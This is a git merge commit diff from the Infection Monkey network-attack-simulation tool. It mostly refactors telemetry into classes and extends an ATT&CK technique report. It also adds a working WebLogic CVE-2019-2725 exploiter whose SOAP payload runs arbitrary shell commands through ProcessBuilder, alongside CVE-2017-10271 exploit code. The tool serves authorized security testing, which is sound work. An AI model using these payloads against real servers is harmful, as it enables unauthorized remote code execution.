Merge remote-tracking branch 'upstream/develop' into attack_file_deletion

# Conflicts:
#	monkey/infection_monkey/monkey.py
#	monkey/monkey_island/cc/services/attack/attack_report.py
#	monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js
This commit is contained in:
VakarisZ 2019-07-08 14:24:17 +03:00
commit cc09aeefa1
28 changed files with 4221 additions and 3818 deletions

View File

@ -20,33 +20,30 @@ class HostExploiter(object):
def __init__(self, host): def __init__(self, host):
self._config = infection_monkey.config.WormConfiguration self._config = infection_monkey.config.WormConfiguration
self._exploit_info = {'display_name': self._EXPLOITED_SERVICE, self.exploit_info = {'display_name': self._EXPLOITED_SERVICE,
'started': '', 'started': '',
'finished': '', 'finished': '',
'vulnerable_urls': [], 'vulnerable_urls': [],
'vulnerable_ports': [], 'vulnerable_ports': [],
'executed_cmds': []} 'executed_cmds': []}
self._exploit_attempts = [] self.exploit_attempts = []
self.host = host self.host = host
def set_start_time(self): def set_start_time(self):
self._exploit_info['started'] = datetime.now().isoformat() self.exploit_info['started'] = datetime.now().isoformat()
def set_finish_time(self): def set_finish_time(self):
self._exploit_info['finished'] = datetime.now().isoformat() self.exploit_info['finished'] = datetime.now().isoformat()
def is_os_supported(self): def is_os_supported(self):
return self.host.os.get('type') in self._TARGET_OS_TYPE return self.host.os.get('type') in self._TARGET_OS_TYPE
def send_exploit_telemetry(self, result): def send_exploit_telemetry(self, result):
from infection_monkey.control import ControlClient from infection_monkey.telemetry.exploit_telem import ExploitTelem
ControlClient.send_telemetry( ExploitTelem(self, result).send()
'exploit',
{'result': result, 'machine': self.host.__dict__, 'exploiter': self.__class__.__name__,
'info': self._exploit_info, 'attempts': self._exploit_attempts})
def report_login_attempt(self, result, user, password='', lm_hash='', ntlm_hash='', ssh_key=''): def report_login_attempt(self, result, user, password='', lm_hash='', ntlm_hash='', ssh_key=''):
self._exploit_attempts.append({'result': result, 'user': user, 'password': password, self.exploit_attempts.append({'result': result, 'user': user, 'password': password,
'lm_hash': lm_hash, 'ntlm_hash': ntlm_hash, 'ssh_key': ssh_key}) 'lm_hash': lm_hash, 'ntlm_hash': ntlm_hash, 'ssh_key': ssh_key})
def exploit_host(self): def exploit_host(self):
@ -66,10 +63,10 @@ class HostExploiter(object):
raise NotImplementedError() raise NotImplementedError()
def add_vuln_url(self, url): def add_vuln_url(self, url):
self._exploit_info['vulnerable_urls'].append(url) self.exploit_info['vulnerable_urls'].append(url)
def add_vuln_port(self, port): def add_vuln_port(self, port):
self._exploit_info['vulnerable_ports'].append(port) self.exploit_info['vulnerable_ports'].append(port)
def add_executed_cmd(self, cmd): def add_executed_cmd(self, cmd):
""" """
@ -77,7 +74,7 @@ class HostExploiter(object):
:param cmd: String of executed command. e.g. 'echo Example' :param cmd: String of executed command. e.g. 'echo Example'
""" """
powershell = True if "powershell" in cmd.lower() else False powershell = True if "powershell" in cmd.lower() else False
self._exploit_info['executed_cmds'].append({'cmd': cmd, 'powershell': powershell}) self.exploit_info['executed_cmds'].append({'cmd': cmd, 'powershell': powershell})
from infection_monkey.exploit.win_ms08_067 import Ms08_067_Exploiter from infection_monkey.exploit.win_ms08_067 import Ms08_067_Exploiter

View File

@ -65,9 +65,9 @@ class SambaCryExploiter(HostExploiter):
LOG.info("Writable shares and their credentials on host %s: %s" % LOG.info("Writable shares and their credentials on host %s: %s" %
(self.host.ip_addr, str(writable_shares_creds_dict))) (self.host.ip_addr, str(writable_shares_creds_dict)))
self._exploit_info["shares"] = {} self.exploit_info["shares"] = {}
for share in writable_shares_creds_dict: for share in writable_shares_creds_dict:
self._exploit_info["shares"][share] = {"creds": writable_shares_creds_dict[share]} self.exploit_info["shares"][share] = {"creds": writable_shares_creds_dict[share]}
self.try_exploit_share(share, writable_shares_creds_dict[share]) self.try_exploit_share(share, writable_shares_creds_dict[share])
# Wait for samba server to load .so, execute code and create result file. # Wait for samba server to load .so, execute code and create result file.
@ -90,7 +90,7 @@ class SambaCryExploiter(HostExploiter):
self.clean_share(self.host.ip_addr, share, writable_shares_creds_dict[share]) self.clean_share(self.host.ip_addr, share, writable_shares_creds_dict[share])
for share, fullpath in successfully_triggered_shares: for share, fullpath in successfully_triggered_shares:
self._exploit_info["shares"][share]["fullpath"] = fullpath self.exploit_info["shares"][share]["fullpath"] = fullpath
if len(successfully_triggered_shares) > 0: if len(successfully_triggered_shares) > 0:
LOG.info( LOG.info(

View File

@ -66,7 +66,7 @@ class ShellShockExploiter(HostExploiter):
exploitable_urls = [url for url in exploitable_urls if url[0] is True] exploitable_urls = [url for url in exploitable_urls if url[0] is True]
# we want to report all vulnerable URLs even if we didn't succeed # we want to report all vulnerable URLs even if we didn't succeed
self._exploit_info['vulnerable_urls'] = [url[1] for url in exploitable_urls] self.exploit_info['vulnerable_urls'] = [url[1] for url in exploitable_urls]
# now try URLs until we install something on victim # now try URLs until we install something on victim
for _, url, header, exploit in exploitable_urls: for _, url, header, exploit in exploitable_urls:

View File

@ -1,3 +1,48 @@
from __future__ import print_function
import threading
import logging
import time
import copy
from requests import post, exceptions
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
from infection_monkey.exploit.web_rce import WebRCE
from infection_monkey.exploit import HostExploiter
from infection_monkey.exploit.tools import get_free_tcp_port, get_interface_to_target
__author__ = "VakarisZ"
LOG = logging.getLogger(__name__)
# How long server waits for get request in seconds
SERVER_TIMEOUT = 4
# How long should we wait after each request in seconds
REQUEST_DELAY = 0.1
# How long to wait for a sign(request from host) that server is vulnerable. In seconds
REQUEST_TIMEOUT = 5
# How long to wait for response in exploitation. In seconds
EXECUTION_TIMEOUT = 15
# Malicious requests' headers:
HEADERS = {
"Content-Type": "text/xml;charset=UTF-8",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) "
"AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36"
}
class WebLogicExploiter(HostExploiter):
_TARGET_OS_TYPE = ['linux', 'windows']
_EXPLOITED_SERVICE = 'Weblogic'
def exploit_host(self):
exploiters = [WebLogic20192725, WebLogic201710271]
for exploiter in exploiters:
if exploiter(self.host).exploit_host():
return True
# Exploit based of: # Exploit based of:
# Kevin Kirsche (d3c3pt10n) # Kevin Kirsche (d3c3pt10n)
# https://github.com/kkirsche/CVE-2017-10271 # https://github.com/kkirsche/CVE-2017-10271
@ -5,27 +50,7 @@
# Luffin from Github # Luffin from Github
# https://github.com/Luffin/CVE-2017-10271 # https://github.com/Luffin/CVE-2017-10271
# CVE: CVE-2017-10271 # CVE: CVE-2017-10271
from __future__ import print_function class WebLogic201710271(WebRCE):
from requests import post, exceptions
from infection_monkey.exploit.web_rce import WebRCE
from infection_monkey.exploit.tools import get_free_tcp_port, get_interface_to_target
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
import threading
import logging
import time
__author__ = "VakarisZ"
LOG = logging.getLogger(__name__)
# How long server waits for get request in seconds
SERVER_TIMEOUT = 4
# How long should be wait after each request in seconds
REQUEST_DELAY = 0.0001
# How long to wait for a sign(request from host) that server is vulnerable. In seconds
REQUEST_TIMEOUT = 5
# How long to wait for response in exploitation. In seconds
EXECUTION_TIMEOUT = 15
URLS = ["/wls-wsat/CoordinatorPortType", URLS = ["/wls-wsat/CoordinatorPortType",
"/wls-wsat/CoordinatorPortType11", "/wls-wsat/CoordinatorPortType11",
"/wls-wsat/ParticipantPortType", "/wls-wsat/ParticipantPortType",
@ -34,28 +59,20 @@ URLS = ["/wls-wsat/CoordinatorPortType",
"/wls-wsat/RegistrationPortTypeRPC11", "/wls-wsat/RegistrationPortTypeRPC11",
"/wls-wsat/RegistrationRequesterPortType", "/wls-wsat/RegistrationRequesterPortType",
"/wls-wsat/RegistrationRequesterPortType11"] "/wls-wsat/RegistrationRequesterPortType11"]
# Malicious request's headers:
HEADERS = {
"Content-Type": "text/xml;charset=UTF-8",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) "
"AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36"
}
_TARGET_OS_TYPE = WebLogicExploiter._TARGET_OS_TYPE
class WebLogicExploiter(WebRCE): _EXPLOITED_SERVICE = WebLogicExploiter._EXPLOITED_SERVICE
_TARGET_OS_TYPE = ['linux', 'windows']
_EXPLOITED_SERVICE = 'Weblogic'
def __init__(self, host): def __init__(self, host):
super(WebLogicExploiter, self).__init__(host, {'linux': '/tmp/monkey.sh', super(WebLogic201710271, self).__init__(host, {'linux': '/tmp/monkey.sh',
'win32': 'monkey32.exe', 'win32': 'monkey32.exe',
'win64': 'monkey64.exe'}) 'win64': 'monkey64.exe'})
def get_exploit_config(self): def get_exploit_config(self):
exploit_config = super(WebLogicExploiter, self).get_exploit_config() exploit_config = super(WebLogic201710271, self).get_exploit_config()
exploit_config['blind_exploit'] = True exploit_config['blind_exploit'] = True
exploit_config['stop_checking_urls'] = True exploit_config['stop_checking_urls'] = True
exploit_config['url_extensions'] = URLS exploit_config['url_extensions'] = WebLogic201710271.URLS
return exploit_config return exploit_config
def exploit(self, url, command): def exploit(self, url, command):
@ -66,8 +83,8 @@ class WebLogicExploiter(WebRCE):
try: try:
post(url, data=payload, headers=HEADERS, timeout=EXECUTION_TIMEOUT, verify=False) post(url, data=payload, headers=HEADERS, timeout=EXECUTION_TIMEOUT, verify=False)
except Exception as e: except Exception as e:
print('[!] Connection Error') LOG.error("Connection error: %s" % e)
print(e) return False
return True return True
@ -91,7 +108,7 @@ class WebLogicExploiter(WebRCE):
if httpd.get_requests > 0: if httpd.get_requests > 0:
# Add all urls because we don't know which one is vulnerable # Add all urls because we don't know which one is vulnerable
self.vulnerable_urls.extend(urls) self.vulnerable_urls.extend(urls)
self._exploit_info['vulnerable_urls'] = self.vulnerable_urls self.exploit_info['vulnerable_urls'] = self.vulnerable_urls
else: else:
LOG.info("No vulnerable urls found, skipping.") LOG.info("No vulnerable urls found, skipping.")
@ -196,6 +213,7 @@ class WebLogicExploiter(WebRCE):
Http server built to wait for GET requests. Because oracle web logic vuln is blind, Http server built to wait for GET requests. Because oracle web logic vuln is blind,
we determine if we can exploit by either getting a GET request from host or not. we determine if we can exploit by either getting a GET request from host or not.
""" """
def __init__(self, local_ip, local_port, lock, max_requests=1): def __init__(self, local_ip, local_port, lock, max_requests=1):
self.local_ip = local_ip self.local_ip = local_ip
self.local_port = local_port self.local_port = local_port
@ -212,6 +230,7 @@ class WebLogicExploiter(WebRCE):
def do_GET(): def do_GET():
LOG.info('Server received a request from vulnerable machine') LOG.info('Server received a request from vulnerable machine')
self.get_requests += 1 self.get_requests += 1
LOG.info('Server waiting for exploited machine request...') LOG.info('Server waiting for exploited machine request...')
httpd = HTTPServer((self.local_ip, self.local_port), S) httpd = HTTPServer((self.local_ip, self.local_port), S)
httpd.daemon = True httpd.daemon = True
@ -224,3 +243,82 @@ class WebLogicExploiter(WebRCE):
def stop(self): def stop(self):
self._stopped = True self._stopped = True
# Exploit based of:
# Andres Rodriguez (acamro)
# https://github.com/rapid7/metasploit-framework/pull/11780
class WebLogic20192725(WebRCE):
URLS = ["_async/AsyncResponseServiceHttps"]
_TARGET_OS_TYPE = WebLogicExploiter._TARGET_OS_TYPE
_EXPLOITED_SERVICE = WebLogicExploiter._EXPLOITED_SERVICE
def __init__(self, host):
super(WebLogic20192725, self).__init__(host)
def get_exploit_config(self):
exploit_config = super(WebLogic20192725, self).get_exploit_config()
exploit_config['url_extensions'] = WebLogic20192725.URLS
exploit_config['blind_exploit'] = True
exploit_config['dropper'] = True
return exploit_config
def exploit(self, url, command):
if 'linux' in self.host.os['type']:
payload = self.get_exploit_payload('/bin/sh', '-c', command)
else:
payload = self.get_exploit_payload('cmd', '/c', command)
try:
resp = post(url, data=payload, headers=HEADERS, timeout=EXECUTION_TIMEOUT)
return resp
except Exception as e:
LOG.error("Connection error: %s" % e)
return False
def check_if_exploitable(self, url):
headers = copy.deepcopy(HEADERS).update({'SOAPAction': ''})
res = post(url, headers=headers, timeout=EXECUTION_TIMEOUT)
if res.status_code == 500 and "<faultcode>env:Client</faultcode>" in res.text:
return True
else:
return False
@staticmethod
def get_exploit_payload(cmd_base, cmd_opt, command):
"""
Formats the payload used to exploit weblogic servers
:param cmd_base: What command prompt to use eg. cmd
:param cmd_opt: cmd_base commands parameters. eg. /c (to run command)
:param command: command itself
:return: Formatted payload
"""
empty_payload = '''
<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\"
xmlns:wsa=\"http://www.w3.org/2005/08/addressing\" xmlns:asy=\"http://www.bea.com/async/AsyncResponseService\">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work=\"http://bea.com/2004/06/soap/workarea/\">
<void class=\"java.lang.ProcessBuilder\">
<array class=\"java.lang.String\" length=\"3\">
<void index=\"0\">
<string>{cmd_base}</string>
</void>
<void index=\"1\">
<string>{cmd_opt}</string>
</void>
<void index=\"2\">
<string>{cmd_payload}</string>
</void>
</array>
<void method=\"start\"/>
</void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body>
</soapenv:Envelope>'''
payload = empty_payload.format(cmd_base=cmd_base, cmd_opt=cmd_opt, cmd_payload=command)
return payload

View File

@ -17,6 +17,11 @@ from infection_monkey.system_info import SystemInfoCollector
from infection_monkey.system_singleton import SystemSingleton from infection_monkey.system_singleton import SystemSingleton
from infection_monkey.telemetry.attack.victim_host_telem import VictimHostTelem from infection_monkey.telemetry.attack.victim_host_telem import VictimHostTelem
from infection_monkey.telemetry.attack.t1107_telem import T1107Telem from infection_monkey.telemetry.attack.t1107_telem import T1107Telem
from infection_monkey.telemetry.scan_telem import ScanTelem
from infection_monkey.telemetry.state_telem import StateTelem
from infection_monkey.telemetry.system_info_telem import SystemInfoTelem
from infection_monkey.telemetry.trace_telem import TraceTelem
from infection_monkey.telemetry.tunnel_telem import TunnelTelem
from infection_monkey.windows_upgrader import WindowsUpgrader from infection_monkey.windows_upgrader import WindowsUpgrader
from infection_monkey.post_breach.post_breach_handler import PostBreach from infection_monkey.post_breach.post_breach_handler import PostBreach
from common.utils.attack_utils import ScanStatus from common.utils.attack_utils import ScanStatus
@ -110,24 +115,23 @@ class InfectionMonkey(object):
if monkey_tunnel: if monkey_tunnel:
monkey_tunnel.start() monkey_tunnel.start()
ControlClient.send_telemetry("state", {'done': False}) StateTelem(False).send()
self._default_server = WormConfiguration.current_server self._default_server = WormConfiguration.current_server
LOG.debug("default server: %s" % self._default_server) LOG.debug("default server: %s" % self._default_server)
ControlClient.send_telemetry("tunnel", {'proxy': ControlClient.proxies.get('https')}) TunnelTelem().send()
if WormConfiguration.collect_system_info: if WormConfiguration.collect_system_info:
LOG.debug("Calling system info collection") LOG.debug("Calling system info collection")
system_info_collector = SystemInfoCollector() system_info_collector = SystemInfoCollector()
system_info = system_info_collector.get_info() system_info = system_info_collector.get_info()
ControlClient.send_telemetry("system_info_collection", system_info) SystemInfoTelem(system_info).send()
# Executes post breach actions # Executes post breach actions
PostBreach().execute() PostBreach().execute()
if 0 == WormConfiguration.depth: if 0 == WormConfiguration.depth:
LOG.debug("Reached max depth, shutting down") TraceTelem("Reached max depth, shutting down").send()
ControlClient.send_telemetry("trace", "Reached max depth, shutting down")
return return
else: else:
LOG.debug("Running with depth: %d" % WormConfiguration.depth) LOG.debug("Running with depth: %d" % WormConfiguration.depth)
@ -158,8 +162,7 @@ class InfectionMonkey(object):
machine, finger.__class__.__name__) machine, finger.__class__.__name__)
finger.get_host_fingerprint(machine) finger.get_host_fingerprint(machine)
ControlClient.send_telemetry('scan', {'machine': machine.as_dict(), ScanTelem(machine).send()
'service_count': len(machine.services)})
# skip machines that we've already exploited # skip machines that we've already exploited
if machine in self._exploited_machines: if machine in self._exploited_machines:
@ -224,7 +227,7 @@ class InfectionMonkey(object):
InfectionMonkey.close_tunnel() InfectionMonkey.close_tunnel()
firewall.close() firewall.close()
else: else:
ControlClient.send_telemetry("state", {'done': True}) # Signal the server (before closing the tunnel) StateTelem(False).send() # Signal the server (before closing the tunnel)
InfectionMonkey.close_tunnel() InfectionMonkey.close_tunnel()
firewall.close() firewall.close()
if WormConfiguration.send_log_to_server: if WormConfiguration.send_log_to_server:

View File

@ -2,6 +2,7 @@ import logging
import subprocess import subprocess
import socket import socket
from infection_monkey.control import ControlClient from infection_monkey.control import ControlClient
from infection_monkey.telemetry.post_breach_telem import PostBreachTelem
from infection_monkey.utils import is_windows_os from infection_monkey.utils import is_windows_os
from infection_monkey.config import WormConfiguration from infection_monkey.config import WormConfiguration
@ -45,12 +46,7 @@ class PBA(object):
""" """
exec_funct = self._execute_default exec_funct = self._execute_default
result = exec_funct() result = exec_funct()
hostname = socket.gethostname() PostBreachTelem(self, result).send()
ControlClient.send_telemetry('post_breach', {'command': self.command,
'result': result,
'name': self.name,
'hostname': hostname,
'ip': socket.gethostbyname(hostname)})
def _execute_default(self): def _execute_default(self):
""" """

View File

@ -0,0 +1,27 @@
from infection_monkey.telemetry.base_telem import BaseTelem
__author__ = "itay.mizeretz"
class ExploitTelem(BaseTelem):
def __init__(self, exploiter, result):
"""
Default exploit telemetry constructor
:param exploiter: The instance of exploiter used
:param result: The result from the 'exploit_host' method.
"""
super(ExploitTelem, self).__init__()
self.exploiter = exploiter
self.result = result
telem_category = 'exploit'
def get_data(self):
return {
'result': self.result,
'machine': self.exploiter.host.__dict__,
'exploiter': self.exploiter.__class__.__name__,
'info': self.exploiter.exploit_info,
'attempts': self.exploiter.exploit_attempts
}

View File

@ -0,0 +1,40 @@
import socket
from infection_monkey.telemetry.base_telem import BaseTelem
__author__ = "itay.mizeretz"
class PostBreachTelem(BaseTelem):
def __init__(self, pba, result):
"""
Default post breach telemetry constructor
:param pba: Post breach action which was used
:param result: Result of PBA
"""
super(PostBreachTelem, self).__init__()
self.pba = pba
self.result = result
self.hostname, self.ip = PostBreachTelem._get_hostname_and_ip()
telem_category = 'post_breach'
def get_data(self):
return {
'command': self.pba.command,
'result': self.result,
'name': self.pba.name,
'hostname': self.hostname,
'ip': self.ip
}
@staticmethod
def _get_hostname_and_ip():
try:
hostname = socket.gethostname()
ip = socket.gethostbyname(hostname)
except socket.error:
hostname = "Unknown"
ip = "Unknown"
return hostname, ip

View File

@ -0,0 +1,22 @@
from infection_monkey.telemetry.base_telem import BaseTelem
__author__ = "itay.mizeretz"
class ScanTelem(BaseTelem):
def __init__(self, machine):
"""
Default scan telemetry constructor
:param machine: Scanned machine
"""
super(ScanTelem, self).__init__()
self.machine = machine
telem_category = 'scan'
def get_data(self):
return {
'machine': self.machine.as_dict(),
'service_count': len(self.machine.services)
}

View File

@ -0,0 +1,19 @@
from infection_monkey.telemetry.base_telem import BaseTelem
__author__ = "itay.mizeretz"
class StateTelem(BaseTelem):
def __init__(self, is_done):
"""
Default state telemetry constructor
:param is_done: Whether the state of monkey is done.
"""
super(StateTelem, self).__init__()
self.is_done = is_done
telem_category = 'state'
def get_data(self):
return {'done': self.is_done}

View File

@ -0,0 +1,19 @@
from infection_monkey.telemetry.base_telem import BaseTelem
__author__ = "itay.mizeretz"
class SystemInfoTelem(BaseTelem):
def __init__(self, system_info):
"""
Default system info telemetry constructor
:param system_info: System info returned from SystemInfoCollector.get_info()
"""
super(SystemInfoTelem, self).__init__()
self.system_info = system_info
telem_category = 'system_info'
def get_data(self):
return self.system_info

View File

@ -0,0 +1,26 @@
import logging
from infection_monkey.telemetry.base_telem import BaseTelem
__author__ = "itay.mizeretz"
LOG = logging.getLogger(__name__)
class TraceTelem(BaseTelem):
def __init__(self, msg):
"""
Default trace telemetry constructor
:param msg: Trace message
"""
super(TraceTelem, self).__init__()
self.msg = msg
LOG.debug("Trace: %s" % msg)
telem_category = 'trace'
def get_data(self):
return {
'msg': self.msg
}

View File

@ -0,0 +1,19 @@
from infection_monkey.control import ControlClient
from infection_monkey.telemetry.base_telem import BaseTelem
__author__ = "itay.mizeretz"
class TunnelTelem(BaseTelem):
def __init__(self):
"""
Default tunnel telemetry constructor
"""
super(TunnelTelem, self).__init__()
self.proxy = ControlClient.proxies.get('https')
telem_category = 'tunnel'
def get_data(self):
return {'proxy': self.proxy}

View File

@ -2,8 +2,8 @@
Define a Document Schema for the Monkey document. Define a Document Schema for the Monkey document.
""" """
import mongoengine import mongoengine
from mongoengine import Document, StringField, ListField, BooleanField, EmbeddedDocumentField, DateField, \ from mongoengine import Document, StringField, ListField, BooleanField, EmbeddedDocumentField, ReferenceField, \
ReferenceField DateTimeField
from monkey_island.cc.models.monkey_ttl import MonkeyTtl from monkey_island.cc.models.monkey_ttl import MonkeyTtl
@ -24,8 +24,8 @@ class Monkey(Document):
hostname = StringField() hostname = StringField()
internet_access = BooleanField() internet_access = BooleanField()
ip_addresses = ListField(StringField()) ip_addresses = ListField(StringField())
keepalive = DateField() keepalive = DateTimeField()
modifytime = DateField() modifytime = DateTimeField()
# TODO change this to an embedded document as well - RN it's an unnamed tuple which is confusing. # TODO change this to an embedded document as well - RN it's an unnamed tuple which is confusing.
parent = ListField(ListField(StringField())) parent = ListField(ListField(StringField()))
config_error = BooleanField() config_error = BooleanField()
@ -41,6 +41,10 @@ class Monkey(Document):
except IndexError: except IndexError:
raise MonkeyNotFoundError("id: {0}".format(str(db_id))) raise MonkeyNotFoundError("id: {0}".format(str(db_id)))
@staticmethod
def get_latest_modifytime():
return Monkey.objects.order_by('-modifytime').first().modifytime
def is_dead(self): def is_dead(self):
monkey_is_dead = False monkey_is_dead = False
if self.dead: if self.dead:

View File

@ -79,7 +79,7 @@ class Telemetry(flask_restful.Resource):
monkey_label = telem_monkey_guid monkey_label = telem_monkey_guid
x["monkey"] = monkey_label x["monkey"] = monkey_label
objects.append(x) objects.append(x)
if x['telem_category'] == 'system_info_collection' and 'credentials' in x['data']: if x['telem_category'] == 'system_info' and 'credentials' in x['data']:
for user in x['data']['credentials']: for user in x['data']['credentials']:
if -1 != user.find(','): if -1 != user.find(','):
new_user = user.replace(',', '.') new_user = user.replace(',', '.')
@ -277,7 +277,7 @@ TELEM_PROCESS_DICT = \
'state': Telemetry.process_state_telemetry, 'state': Telemetry.process_state_telemetry,
'exploit': Telemetry.process_exploit_telemetry, 'exploit': Telemetry.process_exploit_telemetry,
'scan': Telemetry.process_scan_telemetry, 'scan': Telemetry.process_scan_telemetry,
'system_info_collection': Telemetry.process_system_info_telemetry, 'system_info': Telemetry.process_system_info_telemetry,
'trace': Telemetry.process_trace_telemetry, 'trace': Telemetry.process_trace_telemetry,
'post_breach': Telemetry.process_post_breach_telemetry, 'post_breach': Telemetry.process_post_breach_telemetry,
'attack': Telemetry.process_attack_telemetry 'attack': Telemetry.process_attack_telemetry

View File

@ -78,11 +78,11 @@ class TelemetryFeed(flask_restful.Resource):
@staticmethod @staticmethod
def get_trace_telem_brief(telem): def get_trace_telem_brief(telem):
return 'Monkey reached max depth.' return 'Trace: %s' % telem['data']['msg']
@staticmethod @staticmethod
def get_post_breach_telem_brief(telem): def get_post_breach_telem_brief(telem):
return '%s post breach action executed on %s (%s) machine' % (telem['data']['name'], return '%s post breach action executed on %s (%s) machine.' % (telem['data']['name'],
telem['data']['hostname'], telem['data']['hostname'],
telem['data']['ip']) telem['data']['ip'])
@ -97,7 +97,7 @@ TELEM_PROCESS_DICT = \
'state': TelemetryFeed.get_state_telem_brief, 'state': TelemetryFeed.get_state_telem_brief,
'exploit': TelemetryFeed.get_exploit_telem_brief, 'exploit': TelemetryFeed.get_exploit_telem_brief,
'scan': TelemetryFeed.get_scan_telem_brief, 'scan': TelemetryFeed.get_scan_telem_brief,
'system_info_collection': TelemetryFeed.get_systeminfo_telem_brief, 'system_info': TelemetryFeed.get_systeminfo_telem_brief,
'trace': TelemetryFeed.get_trace_telem_brief, 'trace': TelemetryFeed.get_trace_telem_brief,
'post_breach': TelemetryFeed.get_post_breach_telem_brief, 'post_breach': TelemetryFeed.get_post_breach_telem_brief,
'attack': TelemetryFeed.get_attack_telem_brief 'attack': TelemetryFeed.get_attack_telem_brief

View File

@ -1,6 +1,7 @@
import logging import logging
from monkey_island.cc.models import Monkey
from monkey_island.cc.services.attack.technique_reports import T1210, T1197, T1110, T1075, T1003, T1059, T1086, T1082 from monkey_island.cc.services.attack.technique_reports import T1210, T1197, T1110, T1075, T1003, T1059, T1086, T1082
from monkey_island.cc.services.attack.technique_reports import T1145, T1107 from monkey_island.cc.services.attack.technique_reports import T1145, T1107, T1065
from monkey_island.cc.services.attack.attack_config import AttackConfig from monkey_island.cc.services.attack.attack_config import AttackConfig
from monkey_island.cc.database import mongo from monkey_island.cc.database import mongo
@ -18,7 +19,8 @@ TECHNIQUES = {'T1210': T1210.T1210,
'T1086': T1086.T1086, 'T1086': T1086.T1086,
'T1082': T1082.T1082, 'T1082': T1082.T1082,
'T1145': T1145.T1145, 'T1145': T1145.T1145,
'T1107': T1107.T1107} 'T1107': T1107.T1107,
'T1065': T1065.T1065}
REPORT_NAME = 'new_report' REPORT_NAME = 'new_report'
@ -33,7 +35,13 @@ class AttackReportService:
Generates new report based on telemetries, replaces old report in db with new one. Generates new report based on telemetries, replaces old report in db with new one.
:return: Report object :return: Report object
""" """
report = {'techniques': {}, 'latest_telem_time': AttackReportService.get_latest_attack_telem_time(), 'name': REPORT_NAME} report =\
{
'techniques': {},
'meta': {'latest_monkey_modifytime': Monkey.get_latest_modifytime()},
'name': REPORT_NAME
}
for tech_id, value in AttackConfig.get_technique_values().items(): for tech_id, value in AttackConfig.get_technique_values().items():
if value: if value:
try: try:
@ -59,9 +67,10 @@ class AttackReportService:
:return: report dict. :return: report dict.
""" """
if AttackReportService.is_report_generated(): if AttackReportService.is_report_generated():
telem_time = AttackReportService.get_latest_attack_telem_time() monkey_modifytime = Monkey.get_latest_modifytime()
latest_report = mongo.db.attack_report.find_one({'name': REPORT_NAME}) latest_report = mongo.db.attack_report.find_one({'name': REPORT_NAME})
if telem_time and latest_report['latest_telem_time'] and telem_time == latest_report['latest_telem_time']: report_modifytime = latest_report['meta']['latest_monkey_modifytime']
if monkey_modifytime and report_modifytime and monkey_modifytime == report_modifytime:
return latest_report return latest_report
return AttackReportService.generate_new_report() return AttackReportService.generate_new_report()

View File

@ -140,5 +140,19 @@ SCHEMA = {
} }
} }
}, },
"command_and_control": {
"title": "Command and Control",
"type": "object",
"properties": {
"T1065": {
"title": "T1065 Uncommonly used port",
"type": "bool",
"value": True,
"necessary": True,
"description": "Adversaries may conduct C2 communications over a non-standard "
"port to bypass proxies and firewalls that have been improperly configured."
}
}
},
} }
} }

View File

@ -0,0 +1,20 @@
from monkey_island.cc.services.attack.technique_reports import AttackTechnique
from common.utils.attack_utils import ScanStatus
from monkey_island.cc.services.config import ConfigService
__author__ = "VakarisZ"
class T1065(AttackTechnique):
tech_id = "T1065"
unscanned_msg = ""
scanned_msg = ""
used_msg = ""
message = "Monkey used port %s to communicate to C2 server."
@staticmethod
def get_report_data():
port = ConfigService.get_config_value(['cnc', 'servers', 'current_server']).split(':')[1]
T1065.used_msg = T1065.message % port
return T1065.get_base_data_by_status(ScanStatus.USED)

View File

@ -89,7 +89,7 @@ SCHEMA = {
"enum": [ "enum": [
"WebLogicExploiter" "WebLogicExploiter"
], ],
"title": "Oracle Web Logic Exploiter" "title": "WebLogic Exploiter"
}, },
{ {
"type": "string", "type": "string",

View File

@ -308,10 +308,6 @@ class NodeService:
def is_monkey_finished_running(): def is_monkey_finished_running():
return NodeService.is_any_monkey_exists() and not NodeService.is_any_monkey_alive() return NodeService.is_any_monkey_exists() and not NodeService.is_any_monkey_alive()
@staticmethod
def get_latest_modified_monkey():
return mongo.db.monkey.find({}).sort('modifytime', -1).limit(1)
@staticmethod @staticmethod
def add_credentials_to_monkey(monkey_id, creds): def add_credentials_to_monkey(monkey_id, creds):
mongo.db.monkey.update( mongo.db.monkey.update(

View File

@ -10,6 +10,7 @@ from enum import Enum
from six import text_type from six import text_type
from monkey_island.cc.database import mongo from monkey_island.cc.database import mongo
from monkey_island.cc.models import Monkey
from monkey_island.cc.report_exporter_manager import ReportExporterManager from monkey_island.cc.report_exporter_manager import ReportExporterManager
from monkey_island.cc.services.config import ConfigService from monkey_island.cc.services.config import ConfigService
from monkey_island.cc.services.edge import EdgeService from monkey_island.cc.services.edge import EdgeService
@ -171,7 +172,7 @@ class ReportService:
PASS_TYPE_DICT = {'password': 'Clear Password', 'lm_hash': 'LM hash', 'ntlm_hash': 'NTLM hash'} PASS_TYPE_DICT = {'password': 'Clear Password', 'lm_hash': 'LM hash', 'ntlm_hash': 'NTLM hash'}
creds = [] creds = []
for telem in mongo.db.telemetry.find( for telem in mongo.db.telemetry.find(
{'telem_category': 'system_info_collection', 'data.credentials': {'$exists': True}}, {'telem_category': 'system_info', 'data.credentials': {'$exists': True}},
{'data.credentials': 1, 'monkey_guid': 1} {'data.credentials': 1, 'monkey_guid': 1}
): ):
monkey_creds = telem['data']['credentials'] monkey_creds = telem['data']['credentials']
@ -199,7 +200,7 @@ class ReportService:
""" """
creds = [] creds = []
for telem in mongo.db.telemetry.find( for telem in mongo.db.telemetry.find(
{'telem_category': 'system_info_collection', 'data.ssh_info': {'$exists': True}}, {'telem_category': 'system_info', 'data.ssh_info': {'$exists': True}},
{'data.ssh_info': 1, 'monkey_guid': 1} {'data.ssh_info': 1, 'monkey_guid': 1}
): ):
origin = NodeService.get_monkey_by_guid(telem['monkey_guid'])['hostname'] origin = NodeService.get_monkey_by_guid(telem['monkey_guid'])['hostname']
@ -220,7 +221,7 @@ class ReportService:
""" """
creds = [] creds = []
